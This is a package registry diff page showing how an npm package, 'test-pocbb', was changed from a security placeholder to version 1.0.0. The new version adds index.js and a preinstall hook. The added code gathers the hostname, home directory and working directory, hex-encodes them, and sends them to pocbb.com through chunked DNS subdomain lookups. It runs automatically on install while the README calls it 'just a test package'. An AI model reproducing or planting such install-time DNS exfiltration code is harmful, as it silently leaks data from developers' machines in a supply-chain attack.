test-pocbb 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of test-pocbb might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -4
  2. package/index.js +67 -0
  3. package/package.json +7 -3
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # pocbb test
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-pocbb for more information.
3
+ This is just a test package
package/index.js ADDED
@@ -0,0 +1,67 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getPackageInfo() {
23
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
24
+ return `${packageJson.name}-${packageJson.version}`;
25
+ }
26
+
27
+ function sendJSONviaDNS(domain) {
28
+ // Resolve the IP address of ns1.pocbb.com
29
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
30
+ if (err) {
31
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
32
+ } else {
33
+ const primaryDNS = addresses[0];
34
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
35
+ }
36
+
37
+ // Construct the JSON object
38
+ const jsonObject = {
39
+ 'pkg-name': getPackageInfo(),
40
+ hostname: os.hostname(),
41
+ homedir: os.homedir(),
42
+ path: process.cwd()
43
+ };
44
+ const jsonString = JSON.stringify(jsonObject);
45
+ const hexString = jsonStringToHex(jsonString);
46
+
47
+ // Split hex string into chunks of 60 characters each
48
+ const chunkSize = 60;
49
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
50
+ const chunks = hexString.match(regex);
51
+
52
+ chunks.forEach((chunk, index) => {
53
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
54
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
55
+
56
+ // Perform DNS resolution
57
+ dns.resolve4(subdomain, (err, addresses) => {
58
+ if (err) {
59
+ return;
60
+ }
61
+ });
62
+ });
63
+ });
64
+ }
65
+
66
+ // Usage
67
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "test-pocbb",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "A pocbb test",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }